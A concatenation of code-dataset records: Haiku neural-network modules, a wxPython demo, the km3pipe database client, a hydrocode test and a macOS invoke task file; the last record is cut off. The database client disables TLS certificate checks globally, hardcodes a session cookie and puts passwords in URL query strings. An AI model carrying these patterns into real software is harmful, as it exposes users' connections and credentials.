shape ``[batch_size, num_samples]`` or\n ``[num_samples]``.\n \"\"\"\n # NOTE(tycai): Currently, tf.multinomial uses CDF for non-XLA CPU only.\n # We may want to switch to the Gumbel trick as used in XLA.\n if len(logits.shape) > 2 or not logits.shape:\n raise ValueError(\"Logits must be rank-1 or rank-2.\")\n probs = jax.nn.softmax(logits)\n probs = jnp.cumsum(probs, axis=-1)\n # Special-case num_samples == 1 due to TPU padding, as in TF2XLA.\n # https://github.com/tensorflow/tensorflow/blob/b1608511d5a50d05825c4025b0c347e8689a241f/tensorflow/compiler/tf2xla/kernels/categorical_op.cc#L79\n if num_samples == 1:\n a = jax.random.uniform(rng, logits.shape[:-1] + (1,))\n out = jnp.argmin(a > probs, axis=-1)\n return out[..., None]\n else:\n a = jax.random.uniform(rng, (num_samples,) + logits.shape[:-1] + (1,))\n out = jnp.argmin(a > probs, axis=-1)\n return jnp.transpose(out)\n\n\n# Common modules.\nclass Sequential(hk.Module):\n \"\"\"Sequentially calls the given list of layers.\n\n Note that :class:`Sequential` is limited in the range of possible\n architectures it can handle. This is a deliberate design decision;\n :class:`Sequential` is only meant to be used for the simple case of fusing\n together modules/ops where the input of a particular module/op is the output\n of the previous one.\n\n Another restriction is that it is not possible to have extra arguments in the\n :meth:`__call__` method that are passed to the constituents of the module -\n for example, if there is a :class:`BatchNorm` module in :class:`Sequential`\n and the user wishes to switch the ``is_training`` flag. If this is the desired\n use case, the recommended solution is to subclass :class:`Module` and\n implement ``__call__``:\n\n >>> class CustomModule(hk.Module):\n ... def __call__(self, x, is_training):\n ... x = hk.Conv2D(32, 4, 2)(x)\n ... x = hk.BatchNorm(True, True, 0.9)(x, is_training)\n ... x = jax.nn.relu(x)\n ... return x\n \"\"\"\n\n def __init__(\n self,\n layers: Iterable[Callable[..., Any]],\n name: Optional[str] = None,\n ):\n super().__init__(name=name)\n self.layers = tuple(layers)\n\n def __call__(self, inputs, *args, **kwargs):\n \"\"\"Calls all layers sequentially.\"\"\"\n out = inputs\n for i, layer in enumerate(self.layers):\n if i == 0:\n out = layer(out, *args, **kwargs)\n else:\n out = layer(out)\n return out\n\n\nclass Linear(hk.Module):\n \"\"\"Linear module.\"\"\"\n\n def __init__(\n self,\n output_size: int,\n with_bias: bool = True,\n w_init: Optional[hk.initializers.Initializer] = None,\n b_init: Optional[hk.initializers.Initializer] = None,\n name: Optional[str] = None,\n ):\n \"\"\"Constructs the Linear module.\n\n Args:\n output_size: Output dimensionality.\n with_bias: Whether to add a bias to the output.\n w_init: Optional initializer for weights. By default, uses random values\n from truncated normal, with stddev ``1 / sqrt(fan_in)``. See\n https://arxiv.org/abs/1502.03167v3.\n b_init: Optional initializer for bias. By default, zero.\n name: Name of the module.\n \"\"\"\n super().__init__(name=name)\n self.input_size = None\n self.output_size = output_size\n self.with_bias = with_bias\n self.w_init = w_init\n self.b_init = b_init or jnp.zeros\n\n def __call__(self, inputs: jnp.ndarray) -> jnp.ndarray:\n \"\"\"Computes a linear transform of the input.\"\"\"\n if not inputs.shape:\n raise ValueError(\"Input must not be scalar.\")\n\n input_size = self.input_size = inputs.shape[-1]\n output_size = self.output_size\n dtype = inputs.dtype\n\n w_init = self.w_init\n if w_init is None:\n stddev = 1. / np.sqrt(self.input_size)\n w_init = hk.initializers.TruncatedNormal(stddev=stddev)\n w = hk.get_parameter(\"w\", [input_size, output_size], dtype, init=w_init)\n\n out = jnp.dot(inputs, w)\n\n if self.with_bias:\n b = hk.get_parameter(\"b\", [self.output_size], dtype, init=self.b_init)\n b = jnp.broadcast_to(b, out.shape)\n out = out + b\n\n return out\n\n\ndef ndim_at_least(x, num_dims):\n if not isinstance(x, jnp.ndarray):\n x = jnp.asarray(x)\n return x.ndim >= num_dims\n\n\ndef arbitrary_mergeable_leaf(min_num_dims, args, kwargs):\n for a in jax.tree_leaves(args):\n if ndim_at_least(a, min_num_dims):\n return a\n for k in jax.tree_leaves(kwargs):\n if ndim_at_least(k, min_num_dims):\n return k\n # Couldn't find a satisfactory leaf.\n return None\n\n\ndef merge_leading_dims(x, num_dims):\n \"\"\"Merge leading dimensions.\"\"\"\n # Don't merge if there aren't dimensions to merge.\n if not ndim_at_least(x, num_dims):\n return x\n\n # TODO(tomhennigan) Pass dtype here to account for empty slices.\n new_shape = (np.prod(x.shape[:num_dims]),) + x.shape[num_dims:]\n return jnp.reshape(x, new_shape)\n\n\ndef split_leading_dim(x, to_dim):\n new_shape = to_dim + x.shape[1:]\n return jnp.reshape(x, new_shape)\n\n\nclass BatchApply:\n r\"\"\"Temporarily merges leading dimensions of input tensors.\n\n Merges the leading dimensions of a tensor into a single dimension, runs the\n given callable, then splits the leading dimension of the result to match the\n input.\n\n Input arrays whose rank is smaller than the number of dimensions to collapse\n are passed unmodified.\n\n This may be useful for applying a module to each timestep of e.g. a\n ``[Time, Batch, ...]`` array.\n\n For some ``f``\\ s and platforms, this may be more efficient than ``jax.vmap``,\n especially when combined with other transformations like ``jax.grad``.\n \"\"\"\n\n def __init__(self, f, num_dims=2):\n \"\"\"Constructs a :class:`BatchApply` module.\n\n Args:\n f: The callable to be applied to the reshaped array.\n num_dims: The number of dimensions to merge.\n \"\"\"\n self._f = f\n self.num_dims = num_dims\n\n def __call__(self, *args, **kwargs):\n example = arbitrary_mergeable_leaf(self.num_dims, args, kwargs)\n if example is None:\n raise ValueError(\n \"BatchApply requires at least one input with ndim >= \"\n f\"{self.num_dims}.\")\n\n merge = lambda x: merge_leading_dims(x, self.num_dims)\n split = lambda x: split_leading_dim(x, example.shape[:self.num_dims])\n args = jax.tree_map(merge, args)\n kwargs = jax.tree_map(merge, kwargs)\n outputs = self._f(*args, **kwargs)\n return jax.tree_map(split, outputs)\n\n\ndef expand_apply(f, axis=0):\n \"\"\"Wraps f to temporarily add a size-1 axis to its inputs.\n\n Syntactic sugar for::\n\n ins = jax.tree_util.tree_map(lambda t: np.expand_dims(t, axis=axis), ins)\n out = f(ins)\n out = jax.tree_util.tree_map(lambda t: np.squeeze(t, axis=axis), out)\n\n This may be useful for applying a function built for ``[Time, Batch, ...]``\n arrays to a single timestep.\n\n Args:\n f: The callable to be applied to the expanded inputs.\n axis: Where to add the extra axis.\n\n Returns:\n f, wrapped as described above.\n \"\"\"\n if axis not in [0, -1]:\n raise ValueError(\"expand_apply currently only supports axis=0 or axis=-1.\")\n\n @functools.wraps(f)\n def wrapper(*args, **kwargs):\n expand = lambda t: jnp.expand_dims(t, axis=axis)\n args = jax.tree_map(expand, args)\n kwargs = jax.tree_map(expand, kwargs)\n outputs = f(*args, **kwargs)\n return jax.tree_map(lambda t: jnp.squeeze(t, axis=axis), outputs)\n\n return wrapper\n\n\ndef dropout(rng: PRNGKey, rate: float, x: jnp.ndarray) -> jnp.ndarray:\n \"\"\"Randomly drop units in the input at a given rate.\n\n See: http://www.cs.toronto.edu/~hinton/absps/dropout.pdf\n\n Args:\n rng: A JAX random key.\n rate: Probability that each element of ``x`` is discarded. Must be a scalar\n in the range ``[0, 1)``.\n x: The value to be dropped out.\n\n Returns:\n x, but dropped out and scaled by ``1 / (1 - rate)``.\n \"\"\"\n if rate < 0 or rate >= 1:\n raise ValueError(\"rate must be in [0, 1).\")\n\n if rate == 0.0:\n return x\n\n keep_rate = 1.0 - rate\n keep = jax.random.bernoulli(rng, keep_rate, shape=x.shape)\n return keep * x / keep_rate\n\n\nclass CallableModule(hk.Module):\n\n def __call__(self, *args, **kwargs) -> Any:\n raise NotImplementedError\n\n\ndef to_module(f: Callable[..., Any]) -> Type[CallableModule]:\n \"\"\"Converts a function into a callable module class.\n\n Sample usage:\n\n >>> def bias_fn(x):\n ... b = hk.get_parameter(\"b\", [], init=hk.initializers.RandomNormal())\n ... return x + b\n >>> Bias = hk.to_module(bias_fn)\n >>> def net(x, y):\n ... b = Bias(name=\"my_bias\")\n ... # Bias x and y by the same amount.\n ... return b(x) * b(y)\n\n Args:\n f: The function to convert.\n\n Returns:\n A module class which runs ``f`` when called.\n \"\"\"\n\n class ToModuleWrapper(CallableModule):\n \"\"\"Module produced by `hk.to_module`.\"\"\"\n\n def __init__(self, name=None):\n if name is None:\n name = f.__name__\n elif not isinstance(name, str):\n raise TypeError(\"Expected a string name as the first argument to the \"\n f\"module constructor, got: {name}. Note that \"\n \"`hk.to_module` returns a class not an object, so to \"\n \"use your module you need to instantiate it first: \"\n \"`cls = hk.to_module(fn); mod = cls(); out = mod(x)`.\")\n\n super().__init__(name=name)\n\n def __call__(self, *a, **k):\n return f(*a, **k)\n\n if hasattr(f, \"__doc__\") and f.__doc__:\n ToModuleWrapper.__doc__ = f.__doc__\n functools.update_wrapper(ToModuleWrapper.__call__, f)\n\n return ToModuleWrapper\n","sub_path":"haiku/_src/basic.py","file_name":"basic.py","file_ext":"py","file_size_in_byte":11578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"350170923","text":"import wx\r\n \r\nclass Frame(wx.Frame):\r\n def __init__(self, parent = None, title = \"menu\"):\r\n wx.Frame.__init__(self, parent = None, title = \"menu\",\r\n size = (500, 400), pos = (0, 0))\r\n self.InitUi()\r\n\r\n \r\n def InitUi(self):\r\n\r\n pnl = wx.Panel(self)\r\n grid = wx.GridSizer(3, 2)\r\n\r\n grid.AddMany([(wx.Button(pnl, wx.ID_CANCEL), 0, wx.TOP | wx.LEFT, 9),\r\n (wx.Button(pnl, wx.ID_DELETE), 0, wx.TOP, 9),\r\n (wx.Button(pnl, wx.ID_SAVE), 0, wx.LEFT, 9),\r\n (wx.Button(pnl, wx.ID_EXIT)),\r\n (wx.Button(pnl, wx.ID_STOP), 0, wx.LEFT, 9),\r\n (wx.Button(pnl, wx.ID_NEW))])\r\n\r\n self.Bind(wx.EVT_BUTTON, self.OnQuitApp, id=wx.ID_EXIT)\r\n\r\n pnl.SetSizer(grid)\r\n\r\n def OnQuitApp(self, event):\r\n self.Close()\r\n\r\nclass App(wx.App):\r\n def OnInit(self):\r\n self.frame = Frame(parent = None, title = \"hello\")\r\n self.frame.Show()\r\n return True\r\n \r\nif __name__ == \"__main__\":\r\n app = App()\r\n app.MainLoop()\r\n","sub_path":"python/learn/5.3 standard identifier.py","file_name":"5.3 standard identifier.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"29342737","text":"# coding=utf-8\n# Filename: db.py\n# pylint: disable=locally-disabled\n\"\"\"\nDatabase utilities.\n\n\"\"\"\nfrom __future__ import division, absolute_import, print_function\n\nfrom datetime import datetime\nimport ssl\nimport sys\nimport json\nimport re\nimport pytz\n\ntry:\n import pandas as pd\nexcept ImportError:\n print(\"The database utilities needs pandas: pip install pandas\")\n\nfrom km3pipe.tools import Timer, we_are_in_lyon\nfrom km3pipe.config import Config\nfrom km3pipe.logger import logging\n\ntry:\n input = raw_input\nexcept NameError:\n pass\n\nif sys.version_info[0] > 2:\n from urllib.parse import urlencode, unquote\n from urllib.request import (Request, build_opener, urlopen,\n HTTPCookieProcessor, HTTPHandler)\n from urllib.error import URLError, HTTPError\n from io import StringIO\n from http.cookiejar import CookieJar\n from http.client import IncompleteRead\nelse:\n from urllib import urlencode, unquote\n from urllib2 import (Request, build_opener, urlopen,\n HTTPCookieProcessor, HTTPHandler,\n URLError, HTTPError)\n from StringIO import StringIO\n from cookielib import CookieJar\n from httplib import IncompleteRead\n\n__author__ = \"Tamas Gal\"\n__copyright__ = \"Copyright 2016, Tamas Gal and the KM3NeT collaboration.\"\n__credits__ = []\n__license__ = \"MIT\"\n__maintainer__ = \"Tamas Gal\"\n__email__ = \"tgal@km3net.de\"\n__status__ = \"Development\"\n\nlog = logging.getLogger(__name__) # pylint: disable=C0103\n\nUTC_TZ = pytz.timezone('UTC')\n\n\n# Ignore invalid certificate error\ntry:\n ssl._create_default_https_context = ssl._create_unverified_context\nexcept AttributeError:\n log.debug(\"Your SSL support is outdated.\\n\"\n \"Please update your Python installation!\")\n\nBASE_URL = 'https://km3netdbweb.in2p3.fr'\n\n\nclass DBManager(object):\n \"\"\"A wrapper for the KM3NeT Web DB\"\"\"\n def __init__(self, username=None, password=None, url=None, temporary=False):\n \"Create database connection\"\n self._cookies = []\n self._parameters = None\n self._doms = None\n self._detectors = None\n self._opener = None\n self._temporary = temporary\n\n config = Config()\n\n if url is not None:\n self._db_url = url\n else:\n self._db_url = config.db_url or BASE_URL\n\n self._login_url = self._db_url + '/home.htm'\n\n if not temporary and we_are_in_lyon():\n self.restore_session(\n \"sid=_kmcprod_134.158_lyo7783844001343100343mcprod1223user\"\n )\n return\n\n if username is not None and password is not None:\n self.login(username, password)\n elif config.db_session_cookie not in (None, ''):\n self.restore_session(config.db_session_cookie)\n else:\n username, password = config.db_credentials\n login_ok = self.login(username, password)\n if login_ok and not self._temporary and \\\n input(\"Request permanent session? (y/n)\") in 'yY':\n self.request_permanent_session(username, password)\n\n def datalog(self, parameter, run, maxrun=None, det_id='D_ARCA001'):\n \"Retrieve datalogs for given parameter, run(s) and detector\"\n parameter = parameter.lower()\n if maxrun is None:\n maxrun = run\n with Timer('Database lookup'):\n return self._datalog(parameter, run, maxrun, det_id)\n\n def _datalog(self, parameter, run, maxrun, det_id):\n \"Extract data from database\"\n values = {'parameter_name': parameter,\n 'minrun': run,\n 'maxrun': maxrun,\n 'detid': det_id,\n }\n data = urlencode(values)\n content = self._get_content('streamds/datalognumbers.txt?' + data)\n if content.startswith('ERROR'):\n log.error(content)\n return None\n try:\n dataframe = pd.read_csv(StringIO(content), sep=\"\\t\")\n except ValueError:\n log.warning(\"Empty dataset\") # ...probably. Waiting for more info\n return pd.DataFrame()\n else:\n self._add_datetime(dataframe)\n try:\n self._add_converted_units(dataframe, parameter)\n except KeyError:\n log.warn(\"Could not add converted units for {0}\"\n .format(parameter))\n return dataframe\n\n def run_table(self, det_id='D_ARCA001'):\n url = 'streamds/runs.txt?detid={0}'.format(det_id)\n content = self._get_content(url)\n try:\n dataframe = pd.read_csv(StringIO(content), sep=\"\\t\")\n except ValueError:\n log.warning(\"Empty dataset\")\n return None\n else:\n self._add_datetime(dataframe, 'UNIXSTARTTIME')\n return dataframe\n\n def _add_datetime(self, dataframe, timestamp_key='UNIXTIME'):\n \"\"\"Add an additional DATETIME column with standar datetime format.\n\n This currently manipulates the incoming DataFrame!\n \"\"\"\n def convert_data(timestamp):\n return datetime.fromtimestamp(float(timestamp) / 1e3, UTC_TZ)\n try:\n converted = dataframe[timestamp_key].apply(convert_data)\n dataframe['DATETIME'] = converted\n except KeyError:\n log.warn(\"Could not add DATETIME column\")\n\n def _add_converted_units(self, dataframe, parameter, key='VALUE'):\n \"\"\"Add an additional DATA_VALUE column with converted VALUEs\"\"\"\n convert_unit = self.parameters.get_converter(parameter)\n try:\n dataframe[key] = dataframe['DATA_VALUE'].apply(convert_unit)\n except KeyError:\n log.warn(\"Missing 'VALUE': no unit conversion.\")\n else:\n dataframe.unit = self.parameters.unit(parameter)\n\n @property\n def detectors(self):\n if self._detectors is None:\n self._detectors = self._get_detectors()\n return self._detectors\n\n def _get_detectors(self):\n content = self._get_content('streamds/detectors.txt')\n try:\n dataframe = pd.read_csv(StringIO(content), sep=\"\\t\")\n except ValueError:\n log.warning(\"Empty dataset\")\n return pd.DataFrame()\n else:\n return dataframe\n\n def t0sets(self, det_id):\n content = self._get_content('streamds/t0sets.txt?detid={0}'\n .format(det_id))\n try:\n dataframe = pd.read_csv(StringIO(content), sep=\"\\t\")\n except ValueError:\n log.warning(\"Empty dataset\")\n return pd.DataFrame()\n else:\n return dataframe\n\n @property\n def parameters(self):\n \"Return the parameters container for quick access to their details\"\n if self._parameters is None:\n self._load_parameters()\n return self._parameters\n\n def _load_parameters(self):\n \"Retrieve a list of available parameters from the database\"\n parameters = self._get_json('allparam/s')\n data = {}\n for parameter in parameters: # There is a case-chaos in the DB\n data[parameter['Name'].lower()] = parameter\n self._parameters = ParametersContainer(data)\n\n @property\n def doms(self):\n if self._doms is None:\n self._load_doms()\n return self._doms\n\n def _load_doms(self):\n \"Retrieve DOM information from the database\"\n doms = self._get_json('domclbupiid/s')\n self._doms = DOMContainer(doms)\n\n def detx(self, det_id, t0set=None, calibration=None):\n \"\"\"Retrieve the detector file for given detector id\n\n If t0set is given, append the calibration data.\n \"\"\"\n url = 'detx/{0}?'.format(det_id) # '?' since it's ignored if no args\n if t0set is not None:\n url += '&t0set=' + t0set\n if calibration is not None:\n url += '&calibrid=' + calibration\n\n detx = self._get_content(url)\n return detx\n\n def ahrs(self, run, maxrun=None, clbupi=None, det_id='D_ARCA001'):\n \"Retrieve AHRS values for given run(s) (optionally CLBs) and detector\"\n if maxrun is None:\n maxrun = run\n with Timer('Database lookup'):\n return self._ahrs(run, maxrun, clbupi, det_id)\n\n def _ahrs(self, run, maxrun, clbupi, det_id):\n values = {'minrun': run,\n 'maxrun': maxrun,\n 'detid': det_id,\n }\n if clbupi is not None:\n values['clbupi'] = clbupi\n data = urlencode(values)\n content = self._get_content('streamds/ahrs.txt?' + data)\n if content.startswith('ERROR'):\n log.error(content)\n return None\n try:\n dataframe = pd.read_csv(StringIO(content), sep=\"\\t\")\n except ValueError:\n log.warning(\"Empty dataset\") # ...probably. Waiting for more info\n return pd.DataFrame()\n else:\n self._add_datetime(dataframe)\n return dataframe\n\n def _get_json(self, url):\n \"Get JSON-type content\"\n content = self._get_content('jsonds/' + url)\n try:\n json_content = json.loads(content.decode())\n except AttributeError:\n json_content = json.loads(content)\n if json_content['Comment']:\n log.warn(json_content['Comment'])\n if json_content['Result'] != 'OK':\n raise ValueError('Error while retrieving the parameter list.')\n return json_content['Data']\n\n def _get_content(self, url):\n \"Get HTML content\"\n target_url = self._db_url + '/' + unquote(url) # .encode('utf-8'))\n log.debug(\"Opening '{0}'\".format(target_url))\n try:\n f = self.opener.open(target_url)\n except HTTPError as e:\n log.error(\"HTTP error, your session may be expired.\")\n log.error(e)\n if input(\"Request new permanent session and retry? (y/n)\") in 'yY':\n self.request_permanent_session()\n return self._get_content(url)\n else:\n return None\n log.debug(\"Accessing '{0}'\".format(target_url))\n try:\n content = f.read()\n except IncompleteRead as icread:\n log.critical(\"Incomplete data received from the DB, \" +\n \"the data could be corrupted.\")\n content = icread.partial\n log.debug(\"Got {0} bytes of data.\".format(len(content)))\n return content.decode('utf-8')\n\n @property\n def opener(self):\n \"A reusable connection manager\"\n if self._opener is None:\n opener = build_opener()\n for cookie in self._cookies:\n cookie_str = cookie.name + '=' + cookie.value\n opener.addheaders.append(('Cookie', cookie_str))\n self._opener = opener\n return self._opener\n\n def request_sid_cookie(self, username, password):\n \"\"\"Request cookie for permanent session token.\"\"\"\n target_url = self._login_url + '?usr={0}&pwd={1}&persist=y' \\\n .format(username, password)\n cookie = urlopen(target_url).read()\n return cookie\n\n def restore_session(self, cookie):\n \"\"\"Establish databse connection using permanent session cookie\"\"\"\n opener = build_opener()\n opener.addheaders.append(('Cookie', cookie))\n self._opener = opener\n\n def request_permanent_session(self, username=None, password=None):\n config = Config()\n if username is None and password is None:\n username, password = config.db_credentials\n cookie = self.request_sid_cookie(username, password)\n try:\n cookie_str = str(cookie, 'utf-8') # Python 3\n except TypeError:\n cookie_str = str(cookie) # Python 2\n log.debug(\"Session cookie: {0}\".format(cookie_str))\n config.set('DB', 'session_cookie', cookie_str)\n self.restore_session(cookie)\n\n def login(self, username, password):\n \"Login to the databse and store cookies for upcoming requests.\"\n opener = self._build_opener()\n values = {'usr': username, 'pwd': password}\n req = self._make_request(self._login_url, values)\n try:\n f = opener.open(req)\n except URLError as e:\n log.error(\"Failed to connect to the database -> probably down!\")\n log.error(\"Error from database server:\\n {0}\".format(e))\n return False\n html = f.read()\n failed_auth_message = 'Bad username or password'\n if failed_auth_message in str(html):\n log.error(failed_auth_message)\n return False\n return True\n\n def _build_opener(self):\n cj = CookieJar()\n self._cookies = cj\n opener = build_opener(HTTPCookieProcessor(cj), HTTPHandler())\n return opener\n\n def _make_request(self, url, values):\n data = urlencode(values)\n return Request(url, data.encode('utf-8'))\n\n\nclass ParametersContainer(object):\n \"\"\"Provides easy access to parameters\"\"\"\n def __init__(self, parameters):\n self._parameters = parameters\n self._converters = {}\n\n @property\n def names(self):\n \"A list of parameter names\"\n return self._parameters.keys()\n\n def get_parameter(self, parameter):\n \"Return a dict for given parameter\"\n parameter = self._get_parameter_name(parameter)\n return self._parameters[parameter]\n\n def get_converter(self, parameter):\n \"\"\"Generate unit conversion function for given parameter\"\"\"\n if parameter not in self._converters:\n param = self.get_parameter(parameter)\n try:\n scale = float(param['Scale'])\n except KeyError:\n scale = 1\n\n def convert(value):\n # easy_scale = float(param['EasyScale'])\n # easy_scale_multiplier = float(param['EasyScaleMultiplier'])\n return value * scale\n\n return convert\n\n def unit(self, parameter):\n \"Get the unit for given parameter\"\n parameter = self._get_parameter_name(parameter).lower()\n return self._parameters[parameter]['Unit']\n\n def _get_parameter_name(self, name):\n if name in self.names:\n return name\n\n aliases = [n for n in self.names if n.endswith(' ' + name)]\n if len(aliases) == 1:\n log.info(\"Alias found for {0}: {1}\".format(name, aliases[0]))\n return aliases[0]\n\n log.info(\"Parameter '{0}' not found, trying to find alternative.\"\n .format(name))\n try:\n # ahrs_g[0] for example should be looked up as ahrs_g\n alternative = re.findall(r'(.*)\\[[0-9*]\\]', name)[0]\n log.info(\"Found alternative: '{0}'\".format(alternative))\n return alternative\n except IndexError:\n raise KeyError(\"Could not find alternative for '{0}'\"\n .format(name))\n\n\nclass DOMContainer(object):\n \"\"\"Provides easy access to DOM parameters stored in the DB.\"\"\"\n def __init__(self, doms):\n self._json = doms\n self._ids = []\n\n def ids(self, det_id):\n \"\"\"Return a list of DOM IDs for given detector\"\"\"\n return [dom['DOMId'] for dom in self._json if dom['DetOID'] == det_id]\n\n def clbupi2domid(self, clb_upi, det_id):\n \"\"\"Return DOM ID for given CLB UPI and detector\"\"\"\n return self._json_list_lookup('CLBUPI', clb_upi, 'DOMId', det_id)\n\n def clbupi2floor(self, clb_upi, det_id):\n \"\"\"Return Floor ID for given CLB UPI and detector\"\"\"\n return self._json_list_lookup('CLBUPI', clb_upi, 'Floor', det_id)\n\n def domid2floor(self, dom_id, det_id):\n \"\"\"Return Floor ID for given DOM ID and detector\"\"\"\n return self._json_list_lookup('DOMId', dom_id, 'Floor', det_id)\n\n def via_omkey(self, omkey, det_id):\n \"\"\"Return DOM for given OMkey (DU, floor)\"\"\"\n du, floor = omkey\n try:\n return DOM.from_json([d for d in self._json\n if d[\"DU\"] == du and\n d[\"Floor\"] == floor and\n d[\"DetOID\"] == det_id][0])\n except IndexError:\n log.critical(\"No DOM found for OMKey '{0}' and DetOID '{1}'.\"\n .format(omkey, det_id))\n\n def via_dom_id(self, dom_id):\n \"\"\"Return DOM for given dom_id\"\"\"\n try:\n return DOM.from_json([d for d in self._json\n if d[\"DOMId\"] == dom_id][0])\n except IndexError:\n log.critical(\"No DOM found for DOM ID '{0}'\".format(dom_id))\n\n def via_clb_upi(self, clb_upi):\n \"\"\"return DOM for given CLB UPI\"\"\"\n try:\n return DOM.from_json([d for d in self._json\n if d[\"CLBUPI\"] == clb_upi][0])\n except IndexError:\n log.critical(\"No DOM found for CLB UPI '{0}'\".format(clb_upi))\n\n def _json_list_lookup(self, from_key, value, target_key, det_id):\n lookup = [dom[target_key] for dom in self._json if\n dom[from_key] == value and\n dom['DetOID'] == det_id]\n if len(lookup) > 1:\n log.warn(\"Multiple entries found: {0}\".format(lookup) + \"\\n\" +\n \"Returning the first one.\")\n return lookup[0]\n\n\nclass DOM(object):\n \"\"\"Represents a DOM\"\"\"\n def __init__(self, clb_upi, dom_id, dom_upi, du, det_oid, floor):\n self.clb_upi = clb_upi\n self.dom_id = dom_id\n self.dom_upi = dom_upi\n self.du = du\n self.det_oid = det_oid\n self.floor = floor\n\n @classmethod\n def from_json(cls, json):\n return cls(json[\"CLBUPI\"], json[\"DOMId\"], json[\"DOMUPI\"],\n json[\"DU\"], json[\"DetOID\"], json[\"Floor\"])\n\n def __str__(self):\n return \"DU{0}-DOM{1}\".format(self.du, self.floor)\n\n def __repr__(self):\n return (\"{0} - DOM ID: {1}\\n\"\n \" DOM UPI: {2}\\n\"\n \" CLB UPI: {3}\\n\"\n \" DET OID: {4}\\n\"\n .format(self.__str__(), self.dom_id, self.dom_upi,\n self.clb_upi, self.det_oid))\n","sub_path":"km3pipe/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":18343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"464569615","text":"from hllrk import hllrk as hll\nimport cPickle\nimport numpy as np\nimport pylab as py\n\nu = cPickle.load(file(\"1dshock.dat\",\"r\"))\nuc = u.copy()\n\ngamma = 1.4\nhll.init(gamma, 0.01, 0.8)\n\nfor i in range(100):\n uc = hll.step(uc)\n py.clf()\n py.title(\"i=%d\"%i)\n py.plot(uc[:,0],label=\"density\")\n py.plot(uc[:,1]/uc[:,0],label=\"velocity\")\n py.plot(uc[:,2],label=\"energy\")\n py.legend()\n py.savefig(\"images-rk/plot-%0.8d.png\"%i)\n","sub_path":"hydrocode/testing/testcode-rk.py","file_name":"testcode-rk.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"219302728","text":"import os\nfrom invoke import task\nfrom fabs.mac import system\nfrom fabs.mac import base\nfrom pathlib import Path\nhome = str(Path.home())\n\n\n@task\ndef proxy(c, action, local_port, host, network, remote_port=9836):\n if(action == '1'):\n action = 'start'\n elif action == '0':\n action = 'stop'\n\n system.launchctl(\n c,\n action,\n label='proxy.tunnel',\n wait_before_restart=0,\n file_path=\"%s/%s\" % (base.root_templates, 'proxy.plist'),\n template_context={\n 'host': host,\n 'local_port': local_port,\n 'remote_port': remote_port,\n 'logfile': '/tmp/proxy.log'\n }\n )\n if(action == 'start'):\n c.run('networksetup -setsocksfirewallproxy %s localhost %s' % (network, local_port))\n c.run('networksetup -setsocksfirewallproxystate %s on' % network)\n elif(action == 'stop'):\n c.run('networksetup -setsocksfirewallproxystate %s off' % network)\n\n\n@task\ndef port_forward(c, action, local_port, remote_port, user, host, ip='localhost'):\n if(action == '1'):\n action = 'start'\n elif action == '0':\n action = 'stop'\n\n system.launchctl(\n c,\n action,\n label='port.fordward.%s.tunnel' % local_port,\n wait_before_restart=0,\n file_path=\"%s/%s\" % (base.root_templates, 'port_forwarding.plist'),\n dest_filename=\"port_forwarding_%s_%s.plist\" % (local_port, remote_port),\n template_context={\n 'host': host,\n 'user': user,\n 'local_port': local_port,\n 'ip': ip,\n 'remote_port': remote_port,\n 'logfile': '/tmp/port_forwarding.log'\n }\n )\n\n\n@task\ndef dotfiles(c, alias):\n # alias is namespace for files in git repo\n if (not os.path.isdir('%s/dotfiles/.git' % home)):\n with c.cd(home):\n c.run(\"git clone git@bitbucket.org:arun6582/dotfiles.git\")\n base.write_template(\n c,\n file_path=\"%s/%s\" % (base.root_templates, '.dotfiles.sh'),\n destination_path=\"%s/\" % home,\n template_context={\n 'alias': alias,\n 'home': home\n }\n )\n cmd = \"/bin/bash %s/.dotfiles.sh\" % home\n c.run(\"crontab -l | { cat; echo '0 * * * * %s'; } | crontab -\" % cmd)\n base.mkdir(c, \"%s/bin\" % home)\n c.run(\"cp %s/gcs %s/bin/\" % (base.root_templates, home))\n\n\n@task\ndef unload_plist(c, grep_regex, path):\n path = os.path.abspath(path)\n c.run(\n \"ls %s | grep %s | xargs -I {} launchctl unload %s/{}\" %\n (path, grep_regex, path)\n )\n c.run(\n \"ls %s | grep %s | xargs -I {} rm -rf %s/{}\" %\n (path, grep_regex, path)\n )\n\n\n@task\ndef find_and_replace(c, find, replace, path=None):\n path = path or ''\n c.run(\"ag %s %s -l |xargs -I {} sh -c 'echo replacing in {}; gsed -i -E \\\"s/%s/%s/\\\" {}'\" % (find, path, find, replace))\n\n\n@task\ndef find_and_replace_filenames(c, find, replace, path=None):\n path = path or ''\n c.run(\"ag %s -g %s |xargs -I {} sh -c \\'result=\\\"{}\\\"; new=\\\"${result/%s/%s}\\\"; echo $result renamed to $new; mkdir -p `dirname $new`; mv {} $new\\'\" % (path, find, find, replace))\n\n\n@task\ndef somaxconn(c, maxconn):\n c.sudo(\"sysctl kern.ipc.somaxconn=%s\" % maxconn)\n\n\n@task\ndef bash_common(c):\n c.run(\"cp %s/.bash_common.sh %s/\" % (base.root_templates, home))\n\n\n@task\ndef b2_delete(c, bucket, prefix, file_regex=None):\n if(file_regex):\n return c.run(\"b2 ls --recursive --long --versions %s %s | grep %s | while read c1 x x x x c6; do b2 delete-file-version $c1; done\" % (\n bucket, prefix, file_regex\n ))\n c.run(\"b2 ls --recursive --long --versions %s %s | while read c1 x x x x c6; do b2 delete-file-version $c1; done\" % (bucket, prefix))\n\n\n@task\ndef b2_size(c, bucket, prefix):\n c.run(\"b2 ls --long --versions --recursive %s %s | awk '{s+=$5} END {print s/1000/1000}MB'\" % (bucket, prefix))\n\n\n@task\ndef dock_lock(c, state):\n c.run(\"defaults write com.apple.dock contents-immutable -bool %s\" % state)\n c.run(\"killall Dock\")\n\n\n@task\ndef dock_lock_size(c, state):\n c.run(\"defaults write com.apple.Dock size-immutable -bool %s\" % state)\n c.run(\"killall Dock\")\n\n\n@task\ndef vim(c):\n c.run(\"cp %s/.vimrc %s/\" % (base.root_templates, home))\n c.run(\"rm -rf %s/.vim\" % home)\n c.run(\"git clone https://github.com/VundleVim/Vundle.vim.git %s/.vim/bundle/Vundle.vim\" % home)\n c.run(\"vim +PluginInstall +qall\")\n\n\n@task\ndef setup_screenshot_format(c, 